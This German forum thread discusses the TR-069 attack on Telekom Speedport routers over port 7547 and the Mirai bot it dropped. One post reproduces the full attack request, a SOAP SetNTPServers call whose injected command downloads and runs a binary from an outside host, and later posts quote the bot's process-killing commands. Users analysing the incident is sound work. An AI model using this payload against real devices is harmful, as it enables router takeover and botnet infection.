[Info] Speedport W 921V Speedport W 723V Typ B dringend FW-Update

[informerex]

Die notwendige Software gibt es unter www.telekom.de/stoerung. Betroffen sind nach Angaben der Telekom die Modelle Speedport W921V und Speedport W723V Typ B.

https://www.teltarif.de/telekom-router-weltweiter-hacker-angriff-bsi/news/66447.html

 

[ciesla]

Besser wäre, den Schrott komplett zu entsorgen und sich ein vernünftiges Gerät zu kaufen und zu nutzen!
Das FW-Update hält genau bis zum nächsten Angriff (wenn das denn wirklich die Ursache war, da bin ich nämlich noch immer nicht vollends davon überzeugt).

 

[Ohrenschmalz]

TR-069 auf Port 7547...
https://www.heise.de/newsticker/mel...tem-Hackerangriff-auf-DSL-Modems-3506556.html

 

[ciesla]

Tja - TR-069 ist und bleibt halt ein Spionage- und Sabotage-Protokoll.
Einzige wirklich und dauerhaft funktionierende Lösung ist das Entfernen der Implementierung aus allen Geräten.

 

[thtomate12]

Man sollte die Geräte nicht mehr verwenden, egal ob sie Schrott sind oder nicht, da ein Firmware-Update nichts daran ändert, dass das Gerät weiterhin als kompromittiert anzusehen ist, da das Update zur Laufzeit ausgeführt wird. In den aktuell angeschauten Version der Malware, wird zwar anscheinend nichts in die Richtung unternommen, aber ohne Hardware-Debugger gibt es keine Wahrheit...

 

[xrated]

Das Script erscheint erstaunlich simpel und mich wundert das da noch niemand früher draufgekommen ist

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 519

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>'cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1'</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

 

[Goggo16]

wenn das denn wirklich die Ursache war, da bin ich nämlich noch immer nicht vollends davon überzeugt.

Sehe ich genau so.

Wie genau sollen denn diese "boesen Hacker" genau die ca. 900.000 angeblich befallenen Speedports identifiziert haben? Vielleicht ein "Globaler Portscan ...", oder gabs da eine Nach-Hause-Telefonieren-Funktion "ab Werk"?

Eher kann ich mir vorstellen, dass da intern bei der T** was schief gelaufen ist. So einen Vorfall dann auf die "Wilden Horden" im Internet abzuwiegeln liegt im Trend der Zeit, um eigene Fehlleistungen zu vertuschen.

LG Goggo

 

[thtomate12]

Eher kann ich mir vorstellen, dass da intern bei der T** was schief gelaufen ist. So einen Vorfall dann auf die "Wilden Horden" im Internet abzuwiegeln liegt im Trend der Zeit, um eigene Fehlleistungen zu vertuschen.

Du hast aber schon gesehen, dass da Mirai runtergeladen und gestartet wird?

Wie genau sollen denn diese "boesen Hacker" genau die ca. 900.000 angeblich befallenen Speedports identifiziert haben?

Weil sie sie befallen haben?! Les' (sic!) deine Satz bitte nochmal durch.

 

[Goggo16]

Hi Thomate12,

ah, da wurde Mirai runter geladen und auch gestartet. Das war wohl mit Deinem folgenden Statement gemeint gewesen.

... In den aktuell angeschauten Version der Malware, ...

Wie aber koennte denn der Angriffsvektor ausgesehen haben? Wie und von wem wurde denn getriggert, das Mirai runtergeladen und gestartet wurde (... wie Du sagts)?

Ein Speedport-Router ist ja kein Windows-PC, auf dem sich User schnell mal Malware einfangen. Sei es durch Downloads fragwuerdiger Freeware, oder unvorsichtiges Oeffnen von Email-Attachments, oder Anklicken von Links infizierter Web-Pages.

Denkbar waere noch ein aktiver DynDNS-Dienst im Router. Gibts ja inzwischen immer mehr mit Home-Automation, VPN-nach-Hause usw. Damit würde Hackern der Weg zum (damals offenen) TR069-Port auf Router-Zu-Hause gebahnt werden. Es faellt mir aber schwer zu glauben, dass DynDNS schon so viele Leute haben. Ist das Feature in den betroffenen Speedports überhaupt vorhanden?

Dann kommt noch die "Ausstattung ab Werk" in Frage, also vom Hersteller. So aehnlich wie moeglicherweise bei der kuerzlichen WebCam-Geschichte. Ist aber auch eher unwahrscheinlich.

Dann verbleibt fast nur noch die Variante, dass das Problem hausgemacht war. Vielleicht so was wie ein Easter-Egg, dass ein ein unzufriedene Mitarbeiter in die Firmware gebacken hat.

Wer hat denn die aktuellen Information, bei welchen Routern TR069 aktiviert und der Port offen ist? Doch nur der Netzbetreiber. Ist die Liste vielleicht geleakt?

... just my 2 cents ...

LG Goggo

 

[thtomate12]

Ob der Port offen ist, kann man einfach ausprobieren, ob ich an meinem System der Port auf ist, weiß der Netzbetreiber nicht automatisch!
Aktuell kann man an vielen Systemen auf der Welt Anfragen auf dem Port sehen, der/die Hacker wird nach dem er die Sicherheitslücke, dass manche Geräte Code ausführen, den man ihnen einfach schickt, seinen Bot gesagt haben, dass sie dies für fast alle IP-Adressen machen sollen.

Deine Idee ist einfach eine Verschwörungstheorie!

 

[PeterPawn]

Die TR-069-Implementierung in den angreifbaren Geräten ist schlicht falsch ... der Standard schreibt eindeutig vor, daß auf dem extern erreichbaren Port (das ist bei der Telekom eben der 7547) nur ganz bestimmte Requests (HTTP-GET) überhaupt zulässig sind (dazu gehört also schon mal kein HTTP-POST, wie es hier verarbeitet wird) und daß diese passend authentifiziert sein müssen (worauf die Speedports ebenfalls verzichten).

Dann kam zu allem Überfluß noch eine "command injection"-Lücke dazu (beim Setzen der Adresse des NTP-Servers) und dann wurde auf diesem Wege ein "wget" gestartet, welches eine Binärdatei von einem Server nachlud und startete.

Das war auch keineswegs ein gezielter Angriff auf Speedport-Router ... die haben halt nur diese Lücke, die auch in anderen Modellen existiert. Es gab/gibt schließlich auch den passenden Schadcode für ARM-, SPARC- und PowerPC-Architekturen ... das ist bei den Speedports der Telekom alles gar nicht vorhanden. Der Quellcode (eines bestimmten Standes) von Mirai ist auch im GitHub zu finden ... da ist auch kein gezielter Angriff auf Speedports zu finden.

Deshalb war es vermutlich auch eher eine schlechte Idee, wenn die Telekom (leider wird kein MA direkt benannt) dann mit ein wenig Hohn darauf hinweist, daß "die Schadsoftware nicht korrekt programmiert war" und daher der Schaden sich in Grenzen hielt - wenn die Malware sich tatsächlich auf die Speedport-Modelle "eingerichtet" hätte und das nicht nur "Beifang" gewesen wäre, dann sähe das ganz anders aus.

Es ist bestimmt keine wirklich gute Idee, irgendwelche Hacker auch noch zu reizen, indem man sich über ihre Fähigkeiten lustig macht. Wenn das ein gezielter Angriff gewesen wäre, dann hätte der auch wesentlich mehr Schaden anrichten können ... neben dem Laden des Payloads (also des "Mirai"-Bots) hätte man auch problemlos die Firmware der Router komplett ersetzen können. Da sollte man sich mit Spott etwas zurückhalten ... das mußte auch schon der Hr. Trump im Wahlkampf erfahren, daß man den schlafenden Leu nicht am Schwanz ziehen sollte.

Wenn schon ein "versehentlicher Angriff" auf die Telekom-(Consumer-)Router derart verheerende Ausmaße annimmt, möchte man gar nicht darüber nachdenken, was bei einem gezielten Angriff möglich wäre. Der eigentliche Bot grätscht ja auch beinhart alles andere aus dem Weg, was ansonsten zu seiner "Entdeckung" und "Entfernung" führen könnte - das geht beim SSH- und Telnet-Daemon los (die es auf den Speedports gar nicht gibt, ein weiteres Indiz dafür, daß die SP gar nicht das eigentliche Ziel waren) und endet beim Blockieren des Ports 7547 für weitere Verbindungen - die ansonsten ja wieder zum ACS des Providers gehen würden und dem die Chance böten, die Geräte aus der Ferne neu zu starten bzw. sogar unter Nutzung derselben Lücke (man könnte statt des "wget" ja auch ein "reboot" starten) einen Neustart zu veranlassen.

Solange dieser Mirai-Bot auf einem Router zu heftigen Funktionsstörungen führt, ist er viel zu leicht zu entdecken und wird dann natürlich auch jeweils entfernt ... das ist ein wenig wie bei den absolut tödlichen (biologischen) Viren, die ihren Wirt so schnell töten, daß sie sich gar nicht mehr selbst replizieren können. Das dürfte also eher auf andere Geräte zielen - TR-069 gibt es ja nicht nur für Router, auch wenn der mal vom "Broadband Forum" entworfen wurde und auch TR-064 als "Ableger" (LAN-side configuration) ist durchaus ein weiter verbreiteter Weg (wie das ganze UPnP/DLNA-Zeug, die Mechanismen sind ja dieselben), um irgendwelche anderen Geräte in ein LAN einzubinden (was dann oft genug fälschlicherweise auch im WAN erreichbar ist).

Das ist alles auch erst ein Vorgeschmack auf das, was da noch nachkommen wird ... zwar war das hier wieder mal eine problemlos extern auszunutzende Schwachstelle (wie damals "webcm" bei AVM, weil das auch noch vor der Authentifizierung zuschlug), aber das geht eben auch von innen - und da sind (auch wenn ich wie eine kaputte Schallplatte klingen mag) diese ganzen Geräte ziemlich unvorbereitet.

Was schon bei AVM noch alles zu finden war (und ist), habe ich ab und an mal gezeigt - die Speedports sind noch viel schlimmer (auch wenn ich, trotz Nachfrage, keine aktuelle Firmware - in Quellform - erhalten habe von der Telekom, kann man mit "binwalk" auch dort in die Firmware "hineinsehen", ähnlich wie in das FRITZ!OS) und am Ende lohnt sich eigentlich nur der Aufwand für einen gezielten Angriff nicht, weil es eben "nur" die Telekom ist, bei der an ein paar Anschlüssen die Speedports arbeiten - den größten Anteil am deutschen Consumer-Markt dürfte nach wie vor AVM halten und damit sind diese Boxen (in D) das lohnendere Ziel für einen Angreifer. Daß es auch dort nicht mehr "mit der Gießkanne" zugeht bei Angriffen und FRITZ!Boxen "nur nebenbei" in den Fokus geraten, hat man m.E. vor einiger Zeit gesehen, wo eine DOCSIS-Box eines UM-Kunden ganz offensichtlich gezielt attackiert wurde, weil das Login-Verfahren bei einer FRITZ!Box so speziell arbeitet, daß man das nicht einfach "mal so nebenbei" auf die richtige Art und Weise "falsch" macht.

 

[Goggo16]

weil es eben "nur" die Telekom ist, bei der an ein paar Anschlüssen die Speedports arbeiten - den größten Anteil am deutschen Consumer-Markt dürfte nach wie vor AVM halten und damit sind diese Boxen (in D) das lohnendere Ziel für einen Angreifer.

Das sehe ich aktuell auch so.

Allerdings wird sich der Anteil von Speedports in den naechsten Monaten stetig erhoehen, da die Telekom nach wie vor Stueck fuer Stueck die klassische Festnetztelefonie zwangsweise in IP-Telefonie umwandelt. Und da muss eben im einfachsten Fall ein Speedport aufgestellt werden.

(Das hab ich so in den letzten Wochen bei einigen aelteren Herrschaften mitbekommen. Die wissen gar nicht so wirklich, wie ihnen da geschieht und wofuer die Kiste wirklich erforderlich ist. Dann wird ihnen erklaert, dass man ja den Speedport "fernwarten" wird - und das dann wohl per TR069.)

LG Goggo

 

[qwertz.asdfgh]

Wie genau sollen denn diese "boesen Hacker" genau die ca. 900.000 angeblich befallenen Speedports identifiziert haben?

Wozu sollten die erst einmal identifiziert werden? Das wird einfach versucht sobald der entsprechende Port offen ist.

Eher kann ich mir vorstellen, dass da intern bei der T** was schief gelaufen ist.

So etwas ist zwar prinzipiell nicht auszuschließen aber das dürfte in diesem Fall dennoch eher unwahrscheinlich sein. Auch spricht dagegen, dass die Versuche nicht nur bei der Telekom sondern auch bei anderen Netzbetreibern in großem Umfang aufgetaucht sind. Zudem spricht das gesamte Vorgehen diese Angriffes gegen deine Theorie.

Wie aber koennte denn der Angriffsvektor ausgesehen haben?

Das ist doch relativ simpel, insb. wenn man ein Bot-Netz zur Verfügung hat. Man braucht nur die entsprechende IP-Ranges durchprobieren (ähnlich wie damals bei der webcm-Lücke der FritzBoxen mit aktiver Fernwartung auf dem Standard-Port 443). Nun ist es eben der (Standard)-Port 7547.

Ein Speedport-Router ist ja kein Windows-PC, auf dem sich User schnell mal Malware einfangen. Sei es durch Downloads fragwuerdiger Freeware, oder unvorsichtiges Oeffnen von Email-Attachments, oder Anklicken von Links infizierter Web-Pages.

Dass es doch so einfach möglich ist (sogar noch einfacher als du es dir vorstellst da der Nutzer selbst nicht aktiv werden muss) zeigt dieser Angriff deutlich. Wobei auch der Besuch einer bestimmten Website den Angriff speziell für diesen Anschluss triggern kann (ähnlich wie es auch mit der webcm-lücke bei FritzBoxen vorstellbar wäre wenn man nicht über die Fernwartung angreifen will/kann), dazu muss noch nicht einmal irgendwas angeklickt oder heruntergeladen werden auf der Website.
Bei diesem Angriff war das (Aufruf einer speziellen Website) vermutlich nicht der Fall denn es waren auch Speedports betroffen ohne aktive Clients im Heimnetz (es fiel z.B. auf, dass die Telefonie per S0-Bus nicht mehr funktionierte). Letztlich ist der Fehler vom Grundprinzip her nicht viel anders als die webcm-Lücke bei AVM.

Denkbar waere noch ein aktiver DynDNS-Dienst im Router.

Das ist nicht notwendig, es waren auch Speedports betroffen die keinen DDNS-Dienst nutzten, in den betroffenen Netzwerken waren auch keine anderen DDNS-Clients aktiv die die externe IPv4-Adresse einem DDNS-Dienst mitgeteilt haben.

Wer hat denn die aktuellen Information, bei welchen Routern TR069 aktiviert und der Port offen ist?

Bei einem Bot-Netz sind solche Kenntnisse überhaupt nicht erforderlich für einen solchen Angriff, insb. i.V.m. IPv4 (und ohne CGN).

---

Das war auch keineswegs ein gezielter Angriff auf Speedport-Router ... die haben halt nur diese Lücke, die auch in anderen Modellen existiert.

So habe ich das auch verstanden was bei mir gerade eine Frage aufwirft. Die betroffenen Speedports (W724V Typ B, W921V) nutzen für die Firmware keinen *nix-Kernel als Basis sondern basieren auf dem (proprietären) Echtzeitbetriebssystem SuperTask. Interessant, dass dort der Befehl "wget" funktioniert und das heruntergeladene Script ausgeführt werden kann (wenn nicht, warum waren sie dann überhaupt betroffen, oder wurden sie einfach nur von den Anfragen überfordert?). Basieren die anderen Geräte (die vielleicht das primäre Ziel des Angriffes sein sollten) ebenfalls auf SuperTask?

 

[thtomate12]

Allerdings wird sich der Anteil von Speedports in den naechsten Monaten stetig erhoehen, da die Telekom nach wie vor Stueck fuer Stueck die klassische Festnetztelefonie zwangsweise in IP-Telefonie umwandelt. Und da muss eben im einfachsten Fall ein Speedport aufgestellt werden.

Ich denke nicht, die große Welle der Anschlüsse mit DSL sollte durch, einen weiteren heftigen Anstieg würde nur durch die Umstellung der Nur-Telefonie-Kunden entstehen, dort ist mir aber nichts aktuelles bekannt.

 

[H´Sishi]

Ich frage mal aus Neugier ... gibt es bei den Speedports auch Recovery-Tools wie bei den AVM-Fritz!Boxen?
Die Telekom-Firmware's im "bin"-Format lassen sich meines Wissens nur manuell auf den *laufenden* Router aufspielen, ebenso verhält es sich (meines Wissens) mit den Updates auf den Telekom-Servern. Wenn also ein Router (entgegen allen gebetsmühlenartigen Beteuerungen) doch verseucht wurde, bekommt man den ohne vollständiges Recovery doch nie über den normalen Update-Weg sauber ...

 

[thtomate12]

Wenn also ein Router (entgegen allen gebetsmühlenartigen Beteuerungen) doch verseucht wurde

Das habe ich oben angedeutet.
Man kann Firmware offline flashen, aber doch deutlich mehr Aufwand als bei AVM und ich weiß nicht, ob die Dateien von der Telekom-Webseite direkt passend sind.

 

[Theo Tintensich]

... da das Update zur Laufzeit ausgeführt wird. ...

Das Update wird nur ausgeführt, wenn der Router neu gestartet wird.

Da das, was auf den Router geschoben wurde, im /tmp gelandet ist, und wohl auch vom 'Installationsscript' nach dem Start des Programms, aus /tmp gelöscht wurde, liegt die bot-Komponente nur im Speicher.
Ein Neustart nach dem Ziehen des Netzsteckers sollte den Bot 'vertreiben'

Das würde ich nicht grade als "zur Laufzeit" bezeichnen.

- - - Aktualisiert - - -

Der Router wird 'mitgeliefert', und warum soll jemand, der Von Technik grade einmal weiß, wie der den Computer startet und wieder ausschaltet, nicht das Angebot des Providers nutzen?

- - - Aktualisiert - - -

Wie Heise in ihrem Artikel geschrieben hatte, wurden auch andere Netze 'angegriffen'.

Und die ersten Angriffe wurden bei Eircom festgestellt.

Hier in D hängen viele Arcadyn-Router wohl auch in Netzen mit CGN, uns sind deshalb "sicher".
Oder die haben das noch nicht mitbekommen bzw dort hängt der Port in einem eigenen VLAN, das nur von den Management-Systemen erreichbar ist.

 

[thtomate12]

Das Update wird nur ausgeführt, wenn der Router neu gestartet wird.

Weil er dann neu sucht, trotzdem hat er dann Netz, sonst käme das Update nicht auf das Gerät.

Da das, was auf den Router geschoben wurde, im /tmp gelandet ist, und wohl auch vom 'Installationsscript' nach dem Start des Programms, aus /tmp gelöscht wurde, liegt die bot-Komponente nur im Speicher.

Das von dem wir wissen...

 

[H´Sishi]

Eben. Was, wenn der "Bot" doch nicht schlampig programmiert wurde, sondern ein manuelles (oder sogar automatisches) Update erkennt und sich selbst in einen rettenden Speicher schreibt, bevor der Router durch die Update-Scripts neugestartet wird? Viren auf dem PC machen nichts anderes - u.a. könn(t)en sie beim Runterfahren der Virus-"App" ihren eigenen Autostart in die entsprechenden Registry-Schlüsseln eintragen.

Die Firmware-Datei der Telekom-Webseite endet auf ".bin" und wird über das Router-UI in den Router hochgeladen, d.h. zur Laufzeit (wenigstens geht das auch bei abgezogener DSL-Verbindung). Auf der Downloadseite des 921v habe ich auf Anhieb kein Tool gesehen, was das Booten des Speedport's unterbricht und dann den Router mit einer sauberen Firmware und Werkseinstellungen (aber mit aktueller FW-Version) zurücksetzt.

 

[PeterPawn]

Supertask

@qwertz.asdfgh:
Ich hoffe mal nicht, daß SuperTask wirklich noch weit verbreitet ist. Soweit ich weiß, hat das Lantronix doch irgendwann vor > 10 Jahren schon eingestellt, oder?

Wo bin ich da nicht auf dem Laufenden - gibt es tatsächlich noch aktuelle Angebote für das SDK?

Solange man nur aus den veröffentlichten Updates auf die betroffenen Geräte schließen kann, ist das ohnehin etwas mühselig, da eine Gemeinsamkeit auszumachen.

Interessanterweise findet man auch auf der Arcadyan-Seite keine Angaben mehr, daß dort SuperTask eingesetzt würde (oder überhaupt Informationen zum . Ansonsten läßt sich "wget" sicherlich an so ziemlich jede Umgebung anpassen, wo es "sockets" gibt - m.W. arbeitet "wget" mit den normalen Funktionen an dieser Stelle. Das fragliche "wget" war ja auch nicht das Programm, was nachgeladen wurde ... das war ein (MIPS I-)Binary, was garantiert nicht speziell für die Arcadyan-Geräte gedacht war.

Mich würde eher interessieren, wieso da auf den fraglichen Geräten "iptables" aktiv sein sollte (das "Abschalten" von Port 7547 durch die Schadsoftware soll ja darüber erfolgt sein) ... das steht ja wieder unter GPLv2 und wäre eine "Komponente/Funktion", wo der "Verbreiter" zur Veröffentlichung/Weitergabe auf Anfrage verpflichtet ist.

Aber auch die deutlich zu erkennenden Kommandos "killall -9 dropbear" und "killall -9 telnetd" machen ja auf einem SP nicht unbedingt Sinn - das könnte auf den Versuch des (nachträglichen) Schließens von Port 7547 ja auch zutreffen.

Die Firmware für Huawei-Modelle ist erhältlich, für Arcadyan eben nicht. Wie weit da wirklich OSS-Komponenten "verbaut" sind, ist auch unklar ... es ist ja auch nicht so, daß es von Arcadyan gar keine Geräte mit OSS-Komponenten (auch MIPS-basiert mit Broadcom-Chipset) geben würde.